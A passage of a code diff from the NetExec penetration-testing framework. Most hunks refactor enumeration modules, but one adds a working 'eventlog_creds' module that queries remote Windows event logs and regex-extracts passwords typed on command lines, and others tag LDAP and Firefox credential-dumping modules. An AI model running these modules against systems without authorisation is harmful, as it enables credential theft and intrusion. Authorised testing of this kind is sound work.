Enumerate SQL Server logins (SQL, Domain, Local users)
|
||||
Module by deathflamingo, modified by mpgn
|
||||
"""
|
||||
|
||||
name = "enum_logins"
|
||||
description = "Enumerate SQL Server logins"
|
||||
description = "Enumerate SQL Server logins (SQL, Domain, Local users)"
|
||||
supported_protocols = ["mssql"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self):
|
||||
self.mssql_conn = None
|
||||
@@ -17,24 +19,69 @@ class NXCModule:
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
self.mssql_conn = connection.conn
|
||||
|
||||
logins = self.get_logins()
|
||||
if logins:
|
||||
self.context.log.success("Logins found:")
|
||||
for login in logins:
|
||||
self.context.log.display(f" - {login}")
|
||||
self.context.log.display("Enumerated logins")
|
||||
self.context.log.highlight(f"{'Login Name':<35} {'Type':<15} {'Status'}")
|
||||
self.context.log.highlight(f"{'----------':<35} {'----':<15} {'------'}")
|
||||
for login_name, login_type, status in logins:
|
||||
self.context.log.highlight(f"{login_name:<35} {login_type:<15} {status}")
|
||||
else:
|
||||
self.context.log.fail("No logins found.")
|
||||
|
||||
def get_logins(self) -> list:
|
||||
"""
|
||||
Fetches a list of SQL Server logins.
|
||||
def get_domain_name(self) -> str:
|
||||
query = "SELECT DEFAULT_DOMAIN() as domain_name;"
|
||||
try:
|
||||
res = self.mssql_conn.sql_query(query)
|
||||
if res and res[0].get("domain_name"):
|
||||
return res[0]["domain_name"].upper()
|
||||
return ""
|
||||
except Exception as e:
|
||||
self.context.log.debug(f"Error querying domain name: {e}")
|
||||
return ""
|
||||
|
||||
Returns
|
||||
-------
|
||||
list: List of login names.
|
||||
def get_logins(self) -> list:
|
||||
domain_name = self.get_domain_name()
|
||||
domain_prefix = f"{domain_name}\\" if domain_name else ""
|
||||
|
||||
query = f"""
|
||||
SELECT
|
||||
name,
|
||||
type,
|
||||
type_desc,
|
||||
CASE type_desc
|
||||
WHEN 'SQL_LOGIN' THEN 'SQL User'
|
||||
WHEN 'WINDOWS_LOGIN' THEN
|
||||
CASE
|
||||
WHEN name LIKE '{domain_prefix}%' THEN 'Domain User'
|
||||
WHEN name LIKE '%\\%' THEN 'Local User'
|
||||
ELSE 'Local User'
|
||||
END
|
||||
WHEN 'WINDOWS_GROUP' THEN 'Windows Group'
|
||||
WHEN 'CERTIFICATE_MAPPED_LOGIN' THEN 'Certificate Login'
|
||||
WHEN 'ASYMMETRIC_KEY_MAPPED_LOGIN' THEN 'Asymmetric Key Login'
|
||||
ELSE type_desc
|
||||
END as login_type,
|
||||
is_disabled,
|
||||
create_date
|
||||
FROM sys.server_principals
|
||||
WHERE type IN ('S', 'U', 'G', 'C', 'K')
|
||||
AND name NOT LIKE '##%'
|
||||
ORDER BY login_type, name;
|
||||
"""
|
||||
query = "SELECT name FROM sys.server_principals WHERE type_desc = 'SQL_LOGIN';"
|
||||
res = self.mssql_conn.sql_query(query)
|
||||
return [login["name"] for login in res] if res else []
|
||||
try:
|
||||
res = self.mssql_conn.sql_query(query)
|
||||
if res:
|
||||
logins = []
|
||||
for login in res:
|
||||
status = "DISABLED" if login.get("is_disabled") else "ENABLED"
|
||||
logins.append((login["name"], login["login_type"], status))
|
||||
return logins
|
||||
return []
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"Error querying logins: {e}")
|
||||
return []
|
||||
|
||||
def options(self, context, module_options):
|
||||
pass
|
||||
@@ -1,4 +1,5 @@
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -8,79 +9,12 @@ class NXCModule:
|
||||
"""
|
||||
|
||||
name = "enum_trusts"
|
||||
description = "Extract all Trust Relationships, Trusting Direction, and Trust Transitivity"
|
||||
description = "[REMOVED] Extract all Trust Relationships, Trusting Direction, and Trust Transitivity"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
pass
|
||||
|
||||
def on_login(self, context, connection):
|
||||
search_filter = "(&(objectClass=trustedDomain))"
|
||||
attributes = ["flatName", "trustPartner", "trustDirection", "trustAttributes"]
|
||||
|
||||
context.log.debug(f"Search Filter={search_filter}")
|
||||
resp = connection.ldap_connection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0)
|
||||
|
||||
trusts = []
|
||||
context.log.debug(f"Total of records returned {len(resp)}")
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
flat_name = ""
|
||||
trust_partner = ""
|
||||
trust_direction = ""
|
||||
trust_transitive = []
|
||||
try:
|
||||
for attribute in item["attributes"]:
|
||||
if str(attribute["type"]) == "flatName":
|
||||
flat_name = str(attribute["vals"][0])
|
||||
elif str(attribute["type"]) == "trustPartner":
|
||||
trust_partner = str(attribute["vals"][0])
|
||||
elif str(attribute["type"]) == "trustDirection":
|
||||
if str(attribute["vals"][0]) == "1":
|
||||
trust_direction = "Inbound"
|
||||
elif str(attribute["vals"][0]) == "2":
|
||||
trust_direction = "Outbound"
|
||||
elif str(attribute["vals"][0]) == "3":
|
||||
trust_direction = "Bidirectional"
|
||||
elif str(attribute["type"]) == "trustAttributes":
|
||||
trust_attributes_value = int(attribute["vals"][0])
|
||||
if trust_attributes_value & 0x1:
|
||||
trust_transitive.append("Non-Transitive")
|
||||
if trust_attributes_value & 0x2:
|
||||
trust_transitive.append("Uplevel-Only")
|
||||
if trust_attributes_value & 0x4:
|
||||
trust_transitive.append("Quarantined Domain")
|
||||
if trust_attributes_value & 0x8:
|
||||
trust_transitive.append("Forest Transitive")
|
||||
if trust_attributes_value & 0x10:
|
||||
trust_transitive.append("Cross Organization")
|
||||
if trust_attributes_value & 0x20:
|
||||
trust_transitive.append("Within Forest")
|
||||
if trust_attributes_value & 0x40:
|
||||
trust_transitive.append("Treat as External")
|
||||
if trust_attributes_value & 0x80:
|
||||
trust_transitive.append("Uses RC4 Encryption")
|
||||
if trust_attributes_value & 0x100:
|
||||
trust_transitive.append("Cross Organization No TGT Delegation")
|
||||
if trust_attributes_value & 0x2000:
|
||||
trust_transitive.append("PAM Trust")
|
||||
if not trust_transitive:
|
||||
trust_transitive.append("Other")
|
||||
trust_transitive = ", ".join(trust_transitive)
|
||||
|
||||
if flat_name and trust_partner and trust_direction and trust_transitive:
|
||||
trusts.append((flat_name, trust_partner, trust_direction, trust_transitive))
|
||||
except Exception as e:
|
||||
context.log.debug(f"Cannot process trust relationship due to error {e}")
|
||||
|
||||
if trusts:
|
||||
context.log.success("Found the following trust relationships:")
|
||||
for trust in trusts:
|
||||
context.log.highlight(f"{trust[1]} -> {trust[2]} -> {trust[3]}")
|
||||
else:
|
||||
context.log.display("No trust relationships found")
|
||||
|
||||
return True
|
||||
context.log.fail("[REMOVED] This module moved to the --dc-list LDAP flag.")
|
||||
@@ -0,0 +1,198 @@
|
||||
import re
|
||||
from impacket.dcerpc.v5 import even6
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
from impacket.dcerpc.v5.epm import hept_map
|
||||
from nxc.helpers.even6_parser import ResultSet
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.rpc import NXCRPCConnection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Module by @lodos2005
|
||||
This module extracts credentials from Windows logs. It uses Security Event ID: 4688 and SYSMON logs.
|
||||
"""
|
||||
name = "eventlog_creds"
|
||||
description = "Extracting Credentials From Windows Logs (Event ID: 4688 and SYSMON)"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def __init__(self):
|
||||
self.context = None
|
||||
self.module_options = None
|
||||
self.method = "execute"
|
||||
self.limit = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
METHOD EventLog method (Execute or RPCCALL), default: execute
|
||||
M Alias for METHOD
|
||||
LIMIT Limit of the number of records to be fetched, default: unlimited
|
||||
L Alias for LIMIT
|
||||
"""
|
||||
if "METHOD" in module_options:
|
||||
self.method = module_options["METHOD"]
|
||||
if "M" in module_options:
|
||||
self.method = module_options["M"]
|
||||
if "LIMIT" in module_options:
|
||||
self.limit = int(module_options["LIMIT"])
|
||||
if "L" in module_options:
|
||||
self.limit = int(module_options["L"])
|
||||
|
||||
def find_credentials(self, content, context):
|
||||
# remove unnecessary words
|
||||
content = content.replace("\r\n", "\n")
|
||||
|
||||
# sort and unique lines
|
||||
content = "\n".join(sorted(set(content.split("\n"))))
|
||||
|
||||
regexps = [
|
||||
# "C:\Windows\system32\net.exe" user /add lodos2005 123456 /domain
|
||||
r"net.+user\s+(?P<username>[^\s]+)\s+(?P<password>[^\s]+)",
|
||||
# "C:\Windows\system32\net.exe" use \\server\share /user:contoso\lodos2005 password
|
||||
r"net.+use.+/user:(?P<username>[^\s]+)\s+(?P<password>[^\s]+)",
|
||||
# schtasks.exe /CREATE /S 192.168.20.05 /RU SYSTEM /U lodos2005@contoso /P "123456" /SC ONCE /ST 20:05 /TN Test /TR hostname /F
|
||||
r"schtasks.+/U\s+(?P<username>[^\s]+).+/P\s+(?P<password>[^\s]+)",
|
||||
# wmic.exe /node:192.168.20.05 /user:lodos2005@contoso /password:123456 computersystem get
|
||||
r"wmic.+/user:\s*(?P<username>[^\s]+).+/password:\s*(?P<password>[^\s]+)",
|
||||
# psexec \\192.168.20.05 -u lodos2005@contoso -p 123456 hostname
|
||||
r"psexec.+-u\s+(?P<username>[^\s]+).+-p\s+(?P<password>[^\s]+)",
|
||||
# generic username on command line
|
||||
r"(?:(?:(?:-u)|(?:-user)|(?:-username)|(?:--user)|(?:--username)|(?:/u)|(?:/USER)|(?:/USERNAME))(?:\s+|\:)(?P<username>[^\s]+))",
|
||||
# generic password on command line
|
||||
r"(?:(?:(?:-p)|(?:-password)|(?:-passwd)|(?:--password)|(?:--passwd)|(?:/P)|(?:/PASSWD)|(?:/PASS)|(?:/CODE)|(?:/PASSWORD))(?:\s+|\:)(?P<password>[^\s]+))",
|
||||
]
|
||||
# Extracting credentials
|
||||
for line in content.split("\n"):
|
||||
for reg in regexps:
|
||||
# Remove unnecessary words
|
||||
line_stripped = line.replace("/add", "") \
|
||||
.replace("/active:yes", "") \
|
||||
.replace("/delete", "") \
|
||||
.replace("/domain", "") \
|
||||
# Remove command lines that were executed with nxc
|
||||
line_stripped = re.sub(r"1> \\Windows\\Temp\\[\w]{6} 2>&1", "", line_stripped)
|
||||
|
||||
# Use regex to find credentials
|
||||
match = re.search(reg, line_stripped, re.IGNORECASE)
|
||||
if match:
|
||||
# eleminate false positives
|
||||
# C:\Windows\system32\svchost.exe -k DcomLaunch -p -s PlugPlay
|
||||
if not match.groupdict().get("username") and match.groupdict().get("password") and len(match.group("password")) < 6:
|
||||
# if password is found but username is not found, and password is shorter than 6 characters, ignore it
|
||||
continue
|
||||
if not match.groupdict().get("password") and match.groupdict().get("username"):
|
||||
# if username is found but password is not found. we need? ignore it
|
||||
continue
|
||||
# C:\Windows\system32\RunDll32.exe C:\Windows\system32\migration\WininetPlugin.dll,MigrateCacheForUser /m /0
|
||||
if match.groupdict().get("username") and match.groupdict().get("password") and len(match.group("password")) < 6 and len(match.group("username")) < 6:
|
||||
# if username and password is shorter than 6 characters, ignore it
|
||||
continue
|
||||
|
||||
context.log.highlight("Credentials found! " + line.strip())
|
||||
if match.groupdict().get("username"):
|
||||
context.log.highlight("Username: " + match.group("username"))
|
||||
if match.groupdict().get("password"):
|
||||
context.log.highlight("Password: " + match.group("password"))
|
||||
break
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
content = ""
|
||||
if self.method.lower().startswith("e"):
|
||||
limit_str = f"/c:{self.limit}" if self.limit is not None else ""
|
||||
# https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4688
|
||||
commands = [
|
||||
f'wevtutil qe Microsoft-Windows-Sysmon/Operational {limit_str} /f:text /rd:true /q:"*[System[(EventID=1)]]" | findstr "ParentCommandLine"',
|
||||
f'wevtutil qe Security {limit_str} /f:text /rd:true /q:"*[System[(EventID=4688)]]" | findstr "Command Line"',
|
||||
]
|
||||
for command in commands:
|
||||
context.log.debug("Execute Command: " + command)
|
||||
content += connection.execute(command, True)
|
||||
else:
|
||||
msevenclass = MSEven6Trigger(context)
|
||||
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
||||
msevenclass.connect(connection, target)
|
||||
for record in msevenclass.query("\x00", '<QueryList><Query Id="0"><Select Path="Security">*[System/EventID=4688]</Select></Query><Query Id="0"><Select Path="Microsoft-Windows-Sysmon/Operational">*[System/EventID=1]</Select></Query></QueryList>\x00', self.limit):
|
||||
if record is None:
|
||||
continue
|
||||
try:
|
||||
xmlString = ResultSet(record).xml()
|
||||
regexp = r'CommandLine">(?P<CommandLine>(.|\n)*?)<\/Data>'
|
||||
match = re.search(regexp, xmlString, re.IGNORECASE)
|
||||
if match and match.groupdict().get("CommandLine"):
|
||||
content += "CommandLine: " + match.group("CommandLine") + "\n"
|
||||
except Exception as e:
|
||||
context.log.error(f"Error: {e}")
|
||||
|
||||
self.find_credentials(content, context)
|
||||
|
||||
|
||||
class MSEven6Trigger:
|
||||
def __init__(self, context):
|
||||
self.context = context
|
||||
self.dce = None
|
||||
|
||||
def connect(self, connection, target):
|
||||
binding = hept_map(target, even6.MSRPC_UUID_EVEN6, protocol="ncacn_ip_tcp")
|
||||
self.context.log.debug(f"Connecting to {target}...")
|
||||
try:
|
||||
self.dce = NXCRPCConnection(connection).connect(
|
||||
None,
|
||||
even6.MSRPC_UUID_EVEN6,
|
||||
target_ip=target,
|
||||
string_binding=binding,
|
||||
auth_level=RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
|
||||
)
|
||||
self.context.log.debug("[+] Successfully bound!")
|
||||
except Exception as e:
|
||||
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
||||
return
|
||||
|
||||
def query(self, path, query, limit):
|
||||
req = even6.EvtRpcRegisterLogQuery()
|
||||
req["Path"] = path + "\x00"
|
||||
req["Query"] = query + "\x00"
|
||||
req["Flags"] = even6.EvtQueryChannelName | even6.EvtReadNewestToOldest
|
||||
|
||||
resp = self.dce.request(req)
|
||||
handle = resp["Handle"]
|
||||
|
||||
return MSEven6Result(self, handle, limit)
|
||||
|
||||
|
||||
class MSEven6Result:
|
||||
def __init__(self, conn, handle, limit=None):
|
||||
self._conn = conn
|
||||
self._handle = handle
|
||||
self._hardlimit = limit
|
||||
|
||||
def __iter__(self):
|
||||
self._resp = None
|
||||
return self
|
||||
|
||||
def __next__(self):
|
||||
if self._hardlimit is not None:
|
||||
self._hardlimit -= 1
|
||||
if self._hardlimit < 0:
|
||||
raise StopIteration
|
||||
if self._resp is not None and self._resp["NumActualRecords"] == 0:
|
||||
raise StopIteration
|
||||
|
||||
if self._resp is None or self._index == self._resp["NumActualRecords"]:
|
||||
req = even6.EvtRpcQueryNext()
|
||||
req["LogQuery"] = self._handle
|
||||
req["NumRequestedRecords"] = 100
|
||||
req["TimeOutEnd"] = 1000
|
||||
req["Flags"] = 0
|
||||
self._resp = self._conn.dce.request(req)
|
||||
|
||||
if self._resp["NumActualRecords"] == 0:
|
||||
return None
|
||||
else:
|
||||
self._index = 0
|
||||
|
||||
offset = self._resp["EventDataIndices"][self._index]["Data"]
|
||||
size = self._resp["EventDataSizes"][self._index]["Data"]
|
||||
self._index += 1
|
||||
|
||||
return b"".join(self._resp["ResultBuffer"][offset:offset + size])
|
||||
@@ -1,3 +1,5 @@
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
@@ -9,8 +11,7 @@ class NXCModule:
|
||||
name = "example module"
|
||||
description = "I do something"
|
||||
supported_protocols = [] # Example: ['smb', 'mssql']
|
||||
opsec_safe = True # Does the module touch disk?
|
||||
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
|
||||
category = CATEGORY.ENUMERATION # Must be one of "Enumeration", "Privilege Escalation" or "Credential Dumping". Use what fits best.
|
||||
|
||||
def __init__(self):
|
||||
self.context = None
|
||||
@@ -20,6 +21,8 @@ class NXCModule:
|
||||
"""Required.
|
||||
Module options get parsed here. Additionally, put the modules usage here as well
|
||||
"""
|
||||
# Put "No options available" in the docstring if there are no options for the module
|
||||
# Return False to abort the run if options are invalid (log with context.log.fail first).
|
||||
|
||||
def on_login(self, context, connection):
|
||||
"""Concurrent.
|
||||
@@ -48,18 +51,3 @@ class NXCModule:
|
||||
Required if on_login is not present
|
||||
This gets called on each authenticated connection with Administrative privileges
|
||||
"""
|
||||
|
||||
def on_request(self, context, request):
|
||||
"""Optional.
|
||||
If the payload needs to retrieve additional files, add this function to the module
|
||||
"""
|
||||
|
||||
def on_response(self, context, response):
|
||||
"""Optional.
|
||||
If the payload sends back its output to our server, add this function to the module to handle its output
|
||||
"""
|
||||
|
||||
def on_shutdown(self, context, connection):
|
||||
"""Optional.
|
||||
Do something on shutdown
|
||||
"""
|
||||
@@ -1,3 +1,6 @@
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Execute commands on linked servers
|
||||
@@ -7,8 +10,7 @@ class NXCModule:
|
||||
name = "exec_on_link"
|
||||
description = "Execute commands on a SQL Server linked server"
|
||||
supported_protocols = ["mssql"]
|
||||
opsec_safe = False
|
||||
multiple_hosts = False
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def __init__(self):
|
||||
self.mssql_conn = None
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
import socket
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.logger import nxc_logger
|
||||
from impacket.ldap.ldap import LDAPSearchError
|
||||
from impacket.ldap.ldapasn1 import SearchResultEntry
|
||||
@@ -16,15 +16,15 @@ class NXCModule:
|
||||
name = "find-computer"
|
||||
description = "Finds computers in the domain via the provided text"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = False
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
find-computer: Specify find-computer to call the module
|
||||
TEXT: Specify the TEXT option to enter your text to search for
|
||||
Usage: nxc ldap $DC-IP -u Username -p Password -M find-computer -o TEXT="server"
|
||||
nxc ldap $DC-IP -u Username -p Password -M find-computer -o TEXT="SQL"
|
||||
TEXT Search TEXT in the operating system or name of the computer.
|
||||
|
||||
Examples:
|
||||
nxc ldap $DC-IP -u Username -p Password -M find-computer -o TEXT="server"
|
||||
nxc ldap $DC-IP -u Username -p Password -M find-computer -o TEXT="SQL"
|
||||
"""
|
||||
self.TEXT = ""
|
||||
|
||||
@@ -35,7 +35,7 @@ class NXCModule:
|
||||
sys.exit(1)
|
||||
|
||||
def on_login(self, context, connection):
|
||||
search_filter = f"(&(objectCategory=computer)(&(|(operatingSystem=*{self.TEXT}*))(name=*{self.TEXT}*)))"
|
||||
search_filter = f"(&(objectCategory=computer)(|(operatingSystem=*{self.TEXT}*)(name=*{self.TEXT}*)))"
|
||||
|
||||
try:
|
||||
context.log.debug(f"Search Filter={search_filter}")
|
||||
@@ -69,12 +69,12 @@ class NXCModule:
|
||||
if len(answers) > 0:
|
||||
context.log.success("Found the following computers: ")
|
||||
for answer in answers:
|
||||
try:
|
||||
ip = socket.gethostbyname(answer[0])
|
||||
context.log.highlight(f"{answer[0]} ({answer[1]}) ({ip})")
|
||||
context.log.debug("IP found")
|
||||
except socket.gaierror:
|
||||
context.log.debug("Missing IP")
|
||||
resolv = connection.resolver(answer[0])
|
||||
if resolv:
|
||||
context.log.highlight(f"{answer[0]} ({answer[1]}) ({resolv['host']})")
|
||||
context.log.debug("IP found via DNS query")
|
||||
else:
|
||||
context.log.debug(f"No DNS response for {answer[0]}")
|
||||
context.log.highlight(f"{answer[0]} ({answer[1]}) (No IP Found)")
|
||||
else:
|
||||
context.log.success(f"Unable to find any computers with the text {self.TEXT}")
|
||||
@@ -1,5 +1,6 @@
|
||||
from dploot.lib.target import Target
|
||||
from nxc.protocols.smb.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -12,8 +13,7 @@ class NXCModule:
|
||||
name = "firefox"
|
||||
description = "[REMOVED] Dump credentials from Firefox"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True # Does the module touch disk?
|
||||
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
from impacket.ldap import ldap as ldap_impacket
|
||||
import re
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.logger import nxc_logger
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
@@ -11,10 +12,9 @@ class NXCModule:
|
||||
"""
|
||||
|
||||
name = "get-desc-users"
|
||||
description = "Get description of the users. May contained password"
|
||||
description = "Get description of the users. May contain password"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True # Does the module touch disk?
|
||||
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
@@ -63,7 +63,7 @@ class NXCModule:
|
||||
if len(answers) > 0:
|
||||
context.log.success("Found following users: ")
|
||||
for answer in answers:
|
||||
context.log.highlight(f"User: {answer[0]} description: {answer[1]}")
|
||||
context.log.highlight(f"User: {answer[0]:<20} description: {answer[1]}")
|
||||
|
||||
def filter_answer(self, context, answers):
|
||||
# No option to filter
|
||||
|
||||
@@ -0,0 +1,45 @@
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Get the info field of users
|
||||
Module by @sepauli
|
||||
"""
|
||||
name = "get-info-users"
|
||||
description = "Get the info field of all users. May contain password"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""FILTER Apply the FILTER (grep-like) (default: '')"""
|
||||
self.FILTER = ""
|
||||
if "FILTER" in module_options:
|
||||
self.FILTER = module_options["FILTER"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
# Building the search filter
|
||||
resp = connection.search(
|
||||
searchFilter="(info=*)",
|
||||
attributes=["sAMAccountName", "info"]
|
||||
)
|
||||
|
||||
context.log.debug(f"Total of records returned {len(resp)}")
|
||||
resp_parsed = parse_result_attributes(resp)
|
||||
answers = [[x["sAMAccountName"], x["info"]] for x in resp_parsed]
|
||||
|
||||
answers = self.filter_answer(context, answers)
|
||||
if answers:
|
||||
context.log.success("Found following users: ")
|
||||
for answer in answers:
|
||||
context.log.highlight(f"User: {answer[0]:<20} Info: {answer[1]}")
|
||||
|
||||
def filter_answer(self, context, answers):
|
||||
# No option to filter
|
||||
if not self.FILTER:
|
||||
context.log.debug("No filter option enabled")
|
||||
return answers
|
||||
# Filter
|
||||
context.log.debug(f"Filter info field with: {self.FILTER}")
|
||||
return [answer for answer in answers if self.FILTER in answer[1]]
|
||||
+49
-89
@@ -2,49 +2,19 @@
|
||||
# Credit to https://github.com/dirkjanm/adidnsdump @_dirkjan
|
||||
# module by @mpgn_x64
|
||||
import re
|
||||
from os.path import expanduser
|
||||
import codecs
|
||||
import socket
|
||||
from datetime import datetime
|
||||
from struct import unpack
|
||||
|
||||
import dns.name
|
||||
import dns.resolver
|
||||
from impacket.ldap import ldap
|
||||
from impacket.structure import Structure
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
from ldap3 import LEVEL
|
||||
from os.path import expanduser
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.paths import NXC_PATH
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
|
||||
def get_dns_zones(connection, root, debug=False):
|
||||
connection.search(root, "(objectClass=dnsZone)", search_scope=LEVEL, attributes=["dc"])
|
||||
zones = []
|
||||
for entry in connection.response:
|
||||
if entry["type"] != "searchResEntry":
|
||||
continue
|
||||
zones.append(entry["attributes"]["dc"])
|
||||
return zones
|
||||
|
||||
|
||||
def get_dns_resolver(server, context):
|
||||
# Create a resolver object
|
||||
dnsresolver = dns.resolver.Resolver()
|
||||
# Is our host an IP? In that case make sure the server IP is used
|
||||
# if not assume lookups are working already
|
||||
try:
|
||||
if server.startswith("ldap://"):
|
||||
server = server[7:]
|
||||
if server.startswith("ldaps://"):
|
||||
server = server[8:]
|
||||
socket.inet_aton(server)
|
||||
dnsresolver.nameservers = [server]
|
||||
except OSError:
|
||||
context.info("Using System DNS to resolve unknown entries. Make sure resolving your target domain works here or specify an IP as target host to use that server for queries")
|
||||
return dnsresolver
|
||||
|
||||
|
||||
def ldap2domain(ldap):
|
||||
return re.sub(",DC=", ".", ldap[ldap.lower().find("dc="):], flags=re.I)[3:]
|
||||
def ldap2domain(baseDN):
|
||||
return re.sub(r",DC=", ".", baseDN[baseDN.lower().find("dc="):], flags=re.IGNORECASE)[3:]
|
||||
|
||||
|
||||
def new_record(rtype, serial):
|
||||
@@ -65,28 +35,29 @@ RECORD_TYPE_MAPPING = {
|
||||
5: "CNAME",
|
||||
6: "SOA",
|
||||
12: "PTR",
|
||||
# 15: 'MX',
|
||||
# 16: 'TXT',
|
||||
15: "MX",
|
||||
16: "TXT",
|
||||
28: "AAAA",
|
||||
33: "SRV",
|
||||
}
|
||||
|
||||
|
||||
def searchResEntry_to_dict(results):
|
||||
data = {}
|
||||
for attr in results["attributes"]:
|
||||
key = str(attr["type"])
|
||||
value = str(attr["vals"][0])
|
||||
data[key] = value
|
||||
return data
|
||||
ZERO = 0
|
||||
A = 1
|
||||
NS = 2
|
||||
CNAME = 5
|
||||
SOA = 6
|
||||
PTR = 12
|
||||
MX = 15
|
||||
TXT = 16
|
||||
AAAA = 28
|
||||
SRV = 33
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "get-network"
|
||||
description = "Query all DNS records with the corresponding IP from the domain."
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
@@ -95,61 +66,44 @@ class NXCModule:
|
||||
"""
|
||||
self.showall = False
|
||||
self.showhosts = False
|
||||
self.showip = True
|
||||
|
||||
if module_options and "ALL" in module_options:
|
||||
if module_options["ALL"].lower() == "true" or module_options["ALL"] == "1":
|
||||
self.showall = True
|
||||
else:
|
||||
print("Could not parse ALL option.")
|
||||
if module_options and "IP" in module_options:
|
||||
if module_options["IP"].lower() == "true" or module_options["IP"] == "1":
|
||||
self.showip = True
|
||||
else:
|
||||
print("Could not parse ONLY_HOSTS option.")
|
||||
context.log.display("Could not parse ALL option.")
|
||||
if module_options and "ONLY_HOSTS" in module_options:
|
||||
if module_options["ONLY_HOSTS"].lower() == "true" or module_options["ONLY_HOSTS"] == "1":
|
||||
self.showhosts = True
|
||||
else:
|
||||
print("Could not parse ONLY_HOSTS option.")
|
||||
context.log.display("Could not parse ONLY_HOSTS option.")
|
||||
|
||||
def on_login(self, context, connection):
|
||||
zone = ldap2domain(connection.baseDN)
|
||||
dns_root = f"CN=MicrosoftDNS,DC=DomainDnsZones,{connection.baseDN}"
|
||||
search_target = f"DC={zone},{dns_root}"
|
||||
context.log.display("Querying zone for records")
|
||||
sfilter = "(DC=*)"
|
||||
|
||||
try:
|
||||
list_sites = connection.ldap_connection.search(
|
||||
searchBase=search_target,
|
||||
searchFilter=sfilter,
|
||||
attributes=["dnsRecord", "dNSTombstoned", "name"],
|
||||
sizeLimit=100000,
|
||||
)
|
||||
except ldap.LDAPSearchError as e:
|
||||
if e.getErrorString().find("sizeLimitExceeded") >= 0:
|
||||
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
|
||||
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
|
||||
# paged queries
|
||||
list_sites = e.getAnswers()
|
||||
else:
|
||||
raise
|
||||
get_dns_resolver(connection.host, context.log)
|
||||
list_sites = connection.search(
|
||||
searchFilter="(DC=*)",
|
||||
attributes=["dnsRecord", "dNSTombstoned", "name"],
|
||||
baseDN=search_target,
|
||||
)
|
||||
list_sites_parsed = parse_result_attributes(list_sites)
|
||||
|
||||
outdata = []
|
||||
|
||||
for item in list_sites:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
site = searchResEntry_to_dict(item)
|
||||
for site in list_sites_parsed:
|
||||
recordname = site["name"]
|
||||
|
||||
if "dnsRecord" in site:
|
||||
record = bytes(site["dnsRecord"].encode("latin1"))
|
||||
dr = DNS_RECORD(record)
|
||||
if RECORD_TYPE_MAPPING[dr["Type"]] == "A":
|
||||
if dr["Type"] == 1:
|
||||
if isinstance(site["dnsRecord"], list):
|
||||
records = [bytes(r) for r in site["dnsRecord"]]
|
||||
else:
|
||||
records = [bytes(site["dnsRecord"])]
|
||||
|
||||
for record in records:
